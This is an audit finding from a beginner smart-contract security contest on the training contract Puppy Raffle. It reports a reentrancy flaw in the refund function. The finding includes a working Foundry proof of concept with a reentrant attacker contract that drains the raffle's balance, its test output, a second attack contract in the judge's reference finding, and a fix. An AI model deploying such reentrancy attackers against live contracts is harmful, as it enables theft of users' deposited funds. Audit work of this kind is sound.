Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `PuppyRaffle::refund` allows an entrant to drain the entire raffle balance

furkanumut

Root + Impact

Description

Normally, a refund function should mark the ticket as spent and only then pay out, so each ticket can be refunded at most once. However, in the current implementation the ETH transfer happens first and the state update second, so a reentering caller is still seen as an active, un-refunded player.

The vulnerability exists in PuppyRaffle.sol#L96-L105.

Root Cause: Reentrancy — checks-effects-interactions (CEI) violation on an ETH payout.

Vulnerable Code:

// File: src/PuppyRaffle.sol — Lines 96–105
​
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // BUG: external call BEFORE the slot is cleared
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Why This Is Exploitable:

OpenZeppelin 3.4's Address.sendValue performs a low-level .call that forwards all remaining gas. When the caller is a contract, its receive() fallback executes inside sendValue — at a point where players[playerIndex] still holds the attacker's address. Both require statements therefore pass again, paying out another entranceFee. The loop repeats until the contract balance drops below one ticket. The contract has no reentrancy guard anywhere.

Note: this finding was internally assessed as Critical (direct drain of 100% of custodied funds); submitted as High per CodeHawks' severity tiers.

Risk

Likelihood:

  • No special role or timing needed — any participant can execute this at any time, for the cost of one entrance fee.

  • The attack is fully deterministic and succeeds in a single transaction.

Impact:

  • Theft of 100% of the raffle's custodied funds (every active player's entrance fee), not just the attacker's own ticket.

  • Direct theft of user funds held at rest by the protocol.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console2} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
/// @dev Reentrant player: calls refund() again from receive() before the slot is cleared.
contract ReentrantAttacker {
PuppyRaffle public raffle;
uint256 public entranceFee;
uint256 public playerIndex;
​
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
entranceFee = raffle.entranceFee();
}
​
function attack() external payable {
require(msg.value == entranceFee, "need exactly one ticket");
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: entranceFee}(p);
playerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(playerIndex);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(playerIndex); // reenter while our slot is still populated
}
}
}
​
contract PuppyRaffleAuditPoC is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
}
​
function _enterFourHonestPlayers() internal {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
}
​
function testPoC_RefundReentrancyDrainsRaffle() public {
_enterFourHonestPlayers(); // 4 ether custodied
ReentrantAttacker attacker = new ReentrantAttacker(address(puppyRaffle));
​
// attacker stakes exactly one ticket (1 ether, forwarded from this test contract)
attacker.attack{value: entranceFee}();
​
console2.log("attacker deposited (wei):", entranceFee);
console2.log("attacker final balance (wei):", address(attacker).balance);
console2.log("raffle balance after attack (wei):", address(puppyRaffle).balance);
​
// attacker deposited 1 ether and pulled out all 5 ether (its 1 + the 4 honest players')
assertEq(address(attacker).balance, entranceFee * 5);
assertEq(address(puppyRaffle).balance, 0);
}
}

Run: forge test --match-test testPoC_RefundReentrancyDrainsRaffle -vv

Output (actual run):

[PASS] testPoC_RefundReentrancyDrainsRaffle() (gas: 720787)
Logs:
attacker deposited (wei): 1000000000000000000
attacker final balance (wei): 5000000000000000000
raffle balance after attack (wei): 0

  1. Alice, Bob, Carol and Dave each enter the raffle for 1 ETH; the contract custodies 4 ETH. The attacker deploys a contract whose receive() fallback calls refund(playerIndex) again while the raffle still holds at least one entranceFee.

  2. The attacker's contract enters the raffle (1 ETH, balance now 5 ETH) and calls refund(4). On every callback the slot is still populated, so another 1 ETH is paid out — 5 payouts in total.

  3. The attacker staked 1 ETH and ends with 5 ETH; the raffle balance is 0. Alice, Bob, Carol and Dave lost their deposits.

Recommended Mitigation

Update state before the external call (checks-effects-interactions). With the slot cleared first, any reentered call reverts on PuppyRaffle: Only the player can refund / Player already refunded, limiting each ticket to exactly one refund. Optionally add OpenZeppelin's ReentrancyGuard as defense-in-depth.

Proposed Fix:

// File: src/PuppyRaffle.sol
​
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}

References:

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!